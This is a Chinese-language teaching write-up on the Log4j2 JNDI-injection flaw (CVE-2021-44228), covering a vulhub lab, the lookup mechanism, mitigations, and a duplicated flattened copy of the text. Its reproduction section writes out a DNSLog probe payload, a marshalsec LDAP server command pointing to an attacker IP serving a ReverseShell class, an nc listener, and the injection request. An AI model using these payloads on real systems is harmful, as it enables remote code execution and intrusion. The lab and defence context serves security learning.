Log4J2漏洞原理详解及复现
字数 1329 2025-08-11 00:55:10

Log4J2漏洞原理详解及复现教学文档

一、漏洞概述

Log4J2漏洞(CVE-2021-44228)是Apache Log4j2日志组件中存在的一个严重远程代码执行漏洞。该漏洞允许攻击者通过构造特定的恶意日志数据触发JNDI注入,从而在目标系统上执行任意代码。

二、环境搭建

1. 实验环境准备

使用vulhub环境进行搭建:

docker-compose up -d

搭建完成后,访问8983端口验证环境是否成功启动。

三、漏洞原理详解

1. Log4J2基本功能

  • Apache Log4J2是Java生态中广泛使用的开源日志记录库
  • 提供logger.info()logger.error()等日志记录函数
  • 支持{}占位符传参,如logger.info("{}", input)

2. 漏洞触发机制

  • Log4J2会对{}中的内容进行解析而非直接输出
  • 当输入为${java:version}时,会输出Java版本而非字符串本身
  • 这种机制类似于服务器端模板注入(SSTI)

3. JNDI注入漏洞

  • 当用户输入可控且未经过滤时,可构造恶意输入
  • 使用${jndi:ldap://}${jndi:rmi://}协议
  • 系统会尝试从远程LDAP/RMI服务器加载恶意类并执行

四、漏洞复现步骤

1. 漏洞探测

  1. 构造探测Payload:
    ${jndi:ldap://${java:version}.xxx.dnslog.cn}
    
  2. 观察DNSLog平台是否收到包含Java版本的请求
  3. 如收到,则证明漏洞存在且可利用

2. JNDI远程加载部署

  1. 使用marshalsec工具开启LDAP服务:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://攻击者IP/#ReverseShell' 9999
    
    • 9999为LDAP服务端口
    • ReverseShell为恶意类名
  2. 在Kali上监听反弹Shell端口:

    nc -lvnp 4444
    
  3. 发送攻击Payload:

    /admin/cores?action=${jndi:ldap://攻击者IP:9999/ReverseShell}
    
  4. 观察LDAP和HTTP请求,确认是否成功获取反弹Shell

五、漏洞防御措施

1. 升级方案

  • 升级Log4J2到2.15.0-rc1或更高版本
  • 官方后续版本已默认禁用JNDI查找功能

2. 临时缓解措施

  • 设置系统环境变量:
    LOG4J_FORMAT_MSG_NO_LOOKUPS=true
    
  • 修改JVM参数:
    -Dlog4j2.formatMsgNoLookups=true
    

3. 输入过滤

  • 对用户输入进行严格过滤
  • 过滤jndirmildap等敏感字符串
  • 实现输入内容的白名单验证机制

六、技术要点总结

  1. 漏洞本质:Log4J2的Lookup功能与JNDI注入的结合
  2. 关键点
    • 用户输入直接进入日志记录函数
    • Log4J2默认解析${}表达式
    • JNDI支持从远程加载代码执行
  3. 影响范围:所有使用受影响版本Log4J2的Java应用
  4. 危害等级:高危远程代码执行漏洞

七、扩展知识

  1. JNDI(Java Naming and Directory Interface)

    • Java提供的命名和目录服务API
    • 支持多种协议包括LDAP、RMI、DNS等
    • 允许动态加载远程对象
  2. LDAP与RMI区别

    • LDAP通常使用389端口,基于目录服务协议
    • RMI使用随机端口,基于Java远程方法调用
    • 本案例使用LDAP作为示例
  3. 漏洞变种

    • 后续发现的CVE-2021-45046等衍生漏洞
    • 不同版本的缓解措施可能有所不同

通过本教学文档,您应该已经全面了解了Log4J2漏洞的原理、复现方法和防御措施。在实际应用中,建议定期检查组件版本并及时更新,以防范此类高危漏洞。

Log4J2漏洞原理详解及复现教学文档 一、漏洞概述 Log4J2漏洞(CVE-2021-44228)是Apache Log4j2日志组件中存在的一个严重远程代码执行漏洞。该漏洞允许攻击者通过构造特定的恶意日志数据触发JNDI注入,从而在目标系统上执行任意代码。 二、环境搭建 1. 实验环境准备 使用vulhub环境进行搭建: 搭建完成后,访问8983端口验证环境是否成功启动。 三、漏洞原理详解 1. Log4J2基本功能 Apache Log4J2是Java生态中广泛使用的开源日志记录库 提供 logger.info() 、 logger.error() 等日志记录函数 支持 {} 占位符传参,如 logger.info("{}", input) 2. 漏洞触发机制 Log4J2会对 {} 中的内容进行解析而非直接输出 当输入为 ${java:version} 时,会输出Java版本而非字符串本身 这种机制类似于服务器端模板注入(SSTI) 3. JNDI注入漏洞 当用户输入可控且未经过滤时,可构造恶意输入 使用 ${jndi:ldap://} 或 ${jndi:rmi://} 协议 系统会尝试从远程LDAP/RMI服务器加载恶意类并执行 四、漏洞复现步骤 1. 漏洞探测 构造探测Payload: 观察DNSLog平台是否收到包含Java版本的请求 如收到,则证明漏洞存在且可利用 2. JNDI远程加载部署 使用marshalsec工具开启LDAP服务: 9999 为LDAP服务端口 ReverseShell 为恶意类名 在Kali上监听反弹Shell端口: 发送攻击Payload: 观察LDAP和HTTP请求,确认是否成功获取反弹Shell 五、漏洞防御措施 1. 升级方案 升级Log4J2到2.15.0-rc1或更高版本 官方后续版本已默认禁用JNDI查找功能 2. 临时缓解措施 设置系统环境变量: 修改JVM参数: 3. 输入过滤 对用户输入进行严格过滤 过滤 jndi 、 rmi 、 ldap 等敏感字符串 实现输入内容的白名单验证机制 六、技术要点总结 漏洞本质 :Log4J2的Lookup功能与JNDI注入的结合 关键点 : 用户输入直接进入日志记录函数 Log4J2默认解析 ${} 表达式 JNDI支持从远程加载代码执行 影响范围 :所有使用受影响版本Log4J2的Java应用 危害等级 :高危远程代码执行漏洞 七、扩展知识 JNDI(Java Naming and Directory Interface) : Java提供的命名和目录服务API 支持多种协议包括LDAP、RMI、DNS等 允许动态加载远程对象 LDAP与RMI区别 : LDAP通常使用389端口,基于目录服务协议 RMI使用随机端口,基于Java远程方法调用 本案例使用LDAP作为示例 漏洞变种 : 后续发现的CVE-2021-45046等衍生漏洞 不同版本的缓解措施可能有所不同 通过本教学文档,您应该已经全面了解了Log4J2漏洞的原理、复现方法和防御措施。在实际应用中,建议定期检查组件版本并及时更新,以防范此类高危漏洞。